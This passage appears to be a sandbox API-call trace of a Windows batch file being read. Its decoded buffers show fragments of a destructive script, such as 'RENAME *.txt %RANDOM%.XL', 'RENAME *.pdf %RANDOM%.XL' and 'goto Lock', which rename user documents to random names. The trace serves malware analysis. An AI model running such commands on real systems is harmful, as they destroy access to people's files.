dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] GetFileType (hFile=0x74) returned 0x1 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.398] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] GetFileType (hFile=0x74) returned 0x1 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.398] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=4741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] GetFileType (hFile=0x74) returned 0x1 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.399] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=4743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.399] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] GetFileType (hFile=0x74) returned 0x1 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.399] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=4769, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.399] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] GetFileType (hFile=0x74) returned 0x1 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.399] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=4780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.399] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.399] GetFileType (hFile=0x74) returned 0x1 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.400] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=4782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.400] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.400] GetFileType (hFile=0x74) returned 0x1 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.400] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=4788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.400] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.400] GetFileType (hFile=0x74) returned 0x1 [0037.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.400] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=4790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.401] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.401] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.401] GetFileType (hFile=0x74) returned 0x1 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.401] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=4816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.401] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.401] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.401] GetFileType (hFile=0x74) returned 0x1 [0037.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.401] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=4827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] GetFileType (hFile=0x74) returned 0x1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.402] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=4829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] GetFileType (hFile=0x74) returned 0x1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.402] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=4835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.402] GetFileType (hFile=0x74) returned 0x1 [0037.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.402] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] GetFileType (hFile=0x74) returned 0x1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.403] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=4863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] GetFileType (hFile=0x74) returned 0x1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.403] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.403] GetFileType (hFile=0x74) returned 0x1 [0037.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.404] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=4876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] GetFileType (hFile=0x74) returned 0x1 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.404] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=4882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] GetFileType (hFile=0x74) returned 0x1 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.404] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=4884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.404] GetFileType (hFile=0x74) returned 0x1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.405] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=4910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] GetFileType (hFile=0x74) returned 0x1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.405] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=4921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] GetFileType (hFile=0x74) returned 0x1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.405] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=4923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.405] GetFileType (hFile=0x74) returned 0x1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.406] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=4930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.406] GetFileType (hFile=0x74) returned 0x1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.406] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=4932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.406] GetFileType (hFile=0x74) returned 0x1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 